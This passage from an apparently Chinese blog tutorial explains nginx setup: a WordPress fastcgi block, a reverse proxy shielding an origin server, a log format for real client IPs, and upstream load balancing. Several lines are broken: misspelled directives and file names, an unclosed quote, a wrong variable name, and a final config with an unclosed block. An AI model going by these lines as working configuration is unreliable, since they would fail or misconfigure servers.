        root /usr/share/nginx/html/wordpress/wordpress;
        fastcgi_pass  127.0.0.1:9000;
        fastcgi_index index.php;
        fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html/wordpress/wordpress$fastcgi_script_name;
        include    fastcgi_params;
    }
}

然后重启nginx服务

nginx 反向代理

可以保护原站

找一台服务器作为代理服务器,记录下该服务器的ip
在该服务器上安装上nginx,修改主配置文件(/etc/nginx/nginx.comf),将原先location / {} 中的内容清空并改为如下代码

#……
location / {
	proxy_pass http://原站服务器的ip;
	proxy_set_header Host $host;
	proxy_set_header X-Real-IP $remote_addr;
	proxy_set_header X-Forwarded-For $remote_addr;
}

#……

重启nginx服务

记得要修改dms解析
本来dms解析直接指向原服务器的ip,现在要将dms解析ip指向代理服务器的ip

在原服务器主配置文件中的http{}中添加

 lolog_format test '请求时间:[$time local]; 代理ip:$remote_addr;真实ip:$http_x_forwarded_for; "$request" $status $bytes_sent;

在include 上面添加

access_log  /var/log/nginx/xx.log 

其中xx随意即可,建议用网站名字

负载均衡

为了减轻一台服务器的压力,可以准备一台(或多台)代理服务器,和 多台服务器,其中原服务器们运行着同一个网站,代理服务器将代理ip设置为服务器的ip,这样,用户就是通过代理服务器访问原服务器,虽然说每个用户访问的界面都一样,但实际上,每个用户访问的原服务器不一定是同一个,这样就起到负载均衡的效果。

继续使用上面的代理服务器(详情见nginx反向代理),再准备两台服务器,并且搭建好lnmp环境。本来两台服务器运行的网站应该是一样的,但是这里为了显示效果,建议准备两个不同的页面。

在代理服务器中,nginx主配置文件中,将 proxy_pass http://原站服务器的ip; 改为 proxy_pass http://web ,其中,web是个变量,可以随便写,代码如下

#……
location / {
	proxy_pass http://web;# 负载均衡
	proxy_set_header Host $host;
	proxy_set_header X-Real-IP $remote_addr;
	proxy_set_header X-Forwarded-For $remote_addr;
}

#……

在server {} 上面添加

upstream web{
	server 一台网站的服务器的ip;
	server 另一台网站服务器的ip;
}

其中 web变量是上面随便写的

worker_processes  1;
events {
    worker_connections  1024; 
http {
    include       mime.types;								
    default_type  application/octet-stream;					
    charset utf-8;
    sendfile        on;
    keepalive_timeout  65;
    upstream web{ 										# 实现负载均衡的效果
	server 一台网站的服务器的ip;
	server 另一台网站服务器的ip;
	}
    
    server {
        listen       80; 						
        server_name  localhost;
        location / {
            root   html;					
            index  index.html index.htm;   
        }
    }
}

然后重启nginx服务即可。

  • 20
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值